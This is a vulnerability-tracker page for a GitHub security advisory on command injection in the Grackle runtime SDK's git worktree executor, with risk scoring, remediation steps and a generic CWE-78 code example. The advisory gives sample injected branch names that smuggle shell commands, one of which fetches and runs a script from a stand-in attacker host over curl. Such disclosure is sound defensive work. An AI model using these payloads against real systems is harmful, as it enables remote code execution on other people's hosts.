GHSA-vv65-f55v-xm6g: Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
- According to the record, no fixed version is available yet.
Low priority for now. Update when a fix is released; follow the vendor's advisory.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
## Summary The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox. This advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**). ## Affected versions `@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned. ## F1 — Command injection via `shell:true` (primary, High) **Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`. `NODE_GIT_EXECUTOR.exec` runs: ```ts const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy const result = await execRaw("git", args, { ...options, shell }); ``` When `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into: ```ts ["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137 ["worktree", "add", wtPath, branch] // fallback :143 ``` `sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink. **Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value `evilbranch;touch /tmp/PWNED` created the file.) The sibling git path in `runtime-utils.ts:48-56` already uses `execFileAsync("git", [...])` with **no** shell, confirming `shell:true` is unnecessary here. ## F13 — Argument injection: missing `--` separator (residual, Low) **Location:** `packages/runtime-sdk/src/worktree.ts:135-143`. Independent of the shell issue, `branch` is placed as a positional argument with no `--` terminator. The sibling `checkoutBranch` (`runtime-utils.ts:51`) correctly uses `["checkout", "--", branch]`. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; `git worktree add` exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1. ## Remediation 1. **Remove `shell` from `NODE_GIT_EXECUTOR`** — `execFile('git', args)` with the argv array is already safe and is the pattern used in `runtime-utils.ts`. This is the primary fix. 2. Add a `--` separator before positional refs/paths in both `worktree add` invocations. 3. **Defense in depth:** validate `branch` at the gRPC boundary (`grpc-server.ts`) against git ref rules — reject names beginning with `-`, containing `..`, or containing shell metacharacters — before it reaches `ensureWorktree`.
- Published
- Jul 2, 2026
- Updated
- Sep 10, 2026
- EPSS
- —
- CWE
- CWE-78
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- No fixed version yet
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| Vendor | Product | CPE |
|---|---|---|
| npm | @grackle-ai/runtime-sdk | pkg:npm/%40grackle-ai/runtime-sdk |
| npm | @grackle-ai/powerline | pkg:npm/%40grackle-ai/powerline |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | @grackle-ai/powerline | up to and including 0.132.1 | — |
| npm | @grackle-ai/runtime-sdk | up to and including 0.132.1 | — |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
No fix version is recorded for this entry. Check the references for vendor advisories.
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- A low-privileged account is enough.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
Weakness class (CWE)
CWE-78 · Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
osv
Root cause
User input is inserted as text into a shell command. The shell may interpret special characters in the input as part of the command.
The bug in code
The whole CWE-78 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
const host = req.body.host;
exec("ping -c 1 " + host, onResult);Fixed
const host = req.body.host;
if (!/^[a-z0-9.-]{1,253}$/i.test(host)) return res.sendStatus(400);
execFile("ping", ["-c", "1", host], onResult);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Command Line Execution through SQL InjectionCAPEC-108likelihood: Low · Very High
- Command DelimitersCAPEC-15likelihood: High · High
- Exploiting Multiple Input Interpretation LayersCAPEC-43likelihood: Medium · High
- Argument InjectionCAPEC-6likelihood: High · High
- OS Command InjectionCAPEC-88likelihood: High · High
ATT&CK techniques
—
Change log (1)
- CVSS8 → —
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References
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Vendor advisories and official records. Exploit/PoC links are deliberately left out.